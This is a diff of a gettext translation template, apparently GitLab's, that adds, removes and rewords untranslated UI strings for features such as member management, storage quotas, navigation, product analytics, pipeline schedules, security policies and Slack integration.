@@ -25666,10 +25938,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -25678,9 +25950,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -25708,6 +25986,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -25735,6 +26016,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26020,10 +26307,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26083,6 +26373,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26510,6 +26803,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -26906,6 +27205,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -26930,6 +27232,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -26939,6 +27244,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -26962,24 +27270,36 @@ msgid_plural "NamespaceStorageSize|%{namespace_name} contains %{locked_project_c
msgstr[0] ""
msgstr[1] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|Which actions become restricted?"
+msgstr ""
+
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27073,6 +27393,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27201,9 +27542,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27519,9 +27857,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -27698,6 +28033,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28234,13 +28584,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28291,6 +28635,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -28718,6 +29074,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -28883,6 +29242,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29308,12 +29670,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29472,9 +29828,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -29617,12 +29970,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30154,7 +30501,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30169,6 +30516,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30181,6 +30531,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30208,6 +30561,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30226,6 +30585,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31180,9 +31542,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31240,6 +31599,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31267,7 +31629,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31282,9 +31647,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31396,6 +31758,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31408,27 +31773,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32083,6 +32649,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32302,6 +32880,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32377,9 +32958,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32551,9 +33129,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -32704,10 +33279,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -32839,6 +33414,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33463,6 +34041,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33475,6 +34071,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33511,6 +34110,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34241,6 +34843,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34508,9 +35113,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -34568,9 +35170,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -34607,6 +35206,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -35553,7 +36179,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -35926,7 +36552,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36133,6 +36759,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36157,9 +36789,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36175,6 +36804,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36184,12 +36816,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36382,9 +37038,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -36752,6 +37405,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -36773,6 +37435,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37052,7 +37717,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37115,10 +37780,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37133,6 +37798,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37202,9 +37870,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37424,9 +38089,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37454,6 +38116,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37484,9 +38149,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37505,9 +38167,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38287,6 +38946,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38502,9 +39164,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -38631,9 +39290,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -38664,6 +39320,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -38691,10 +39353,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -38706,22 +39368,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
-msgstr ""
-
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39219,6 +39875,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39414,15 +40076,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
